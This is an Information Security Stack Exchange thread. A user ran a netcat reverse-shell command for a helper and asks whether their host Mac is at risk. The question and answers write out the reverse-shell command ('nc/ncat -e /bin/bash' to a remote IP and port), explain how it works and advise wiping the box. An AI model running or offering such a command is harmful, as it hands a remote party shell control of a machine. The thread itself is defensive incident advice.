Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port):

nc <ip> -e /bin/bash <port>

I've never encountered this before, but it seemed very interesting.

My host machine is Mac. Could he potentially gain access to my mac via vagrant guest?

I should probably destroy and recreate the vagrant box right?

share|improve this question
15  
If you trust him so little that now you want to wipe the box, why did you run that command in the first place? – immibis Feb 12 at 0:45
6  
@immibis desperate times. – Sandro Dzneladze Feb 12 at 7:27

I'm assuming you meant:

ncat -e /bin/bash <ip> <port>

The -e argument launches the /bin/bash command when a connection is established. The command then connects out to the IP and executes bash for the remote user to interact with. The remote user gains whatever privs the launching user has. Once this command has been terminated, then so has the connection. No problem for lasting connection there.

BUT The real question is what that person did on your vagrant box ... He could have set up or installed a backdoor, or something else to have a persistent connection.

You could check the session's history file to see what he did, or rebuild the box if you cannot verify his actions.

share|improve this answer
    
Out of interest, could you expand your first paragraph about what nc -e does, and how it can be abused? I'm having troubles finding stuff on google. – Mike Ounsworth Feb 11 at 23:29
    
@MikeOunsworth I took a guess that the real command was ncat and not nc : man7.org/linux/man-pages/man1/ncat.1.html (because the argument order in the question was messed up) – schroeder Feb 11 at 23:32
    
@MikeOunsworth The -e option just tells netcat to run a a command – Lutefisk Feb 11 at 23:37
    
Yeah, that's the same man page I get on fedora with man nc (which appears to be an alias). By "finding stuff on google" I meant "finding security blogs about nc -e". I still think a bit of an explanation of how / why this is dangerous would make your answer more self-contained for people (like me) who didn't know about this until seeing this Question. – Mike Ounsworth Feb 11 at 23:39
    
@MikeOunsworth better? For some versions of nc the -e is for ssl – schroeder Feb 11 at 23:59

Netcat is a basic network tool for reading/writing TCP/UDP connections. In the example you gave, you are telling it to run the program specified by -e across TCP to the remote machine and port number. In that particular instance you were sending a bash shell to his machine, presumably where he had a netcat listener waiting.

Netcat is truly the swiss army knife of networking. You can do so much with it. You can:

  • create proxies
  • chat
  • grab service banners
  • port scan
  • reverse shell
  • bind shell
  • use it as a simple web server
  • transfer files across the internet

It is an immensely powerful tool.

To answer your question about whether or not he could use it to access your mac: Not it in itself. You had to initiate the reverse shell back to his box. Without you sending the shell, he could never connect. However, after connecting he would have been able to plant a backdoor for persistent access.

An attacker with any skill would have cleaned up his session (and system) logs, so you can't even trust those to tell the truth about what happened. The ONLY truly safe thing you can do is to wipe the box.

share|improve this answer
    
I didn't get the answer related to the host. So I was sshd into vagrant box from host machine. While inside vagrant box, I did reverse shell. Was there any way my host machine could have been compromised? – Sandro Dzneladze Feb 12 at 7:34
    
The attacker would have access to your vagrant box and could have possibly installed a backdoor and/or a keylogger. He would also be able to see your IP addresses that you connected from. If you're re-using passwords between that box and your machine, I would change your passwords immediately. The ssh connection by itself would not allow the attacker into your machine. – nyxgeek Feb 12 at 7:45

There has been a vulnerability reported where an attacker could break out of Virtualbox guest through 3D acceleration and gain access to host OS.

This requires that 3D acceleration is enabled for the guest OS.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.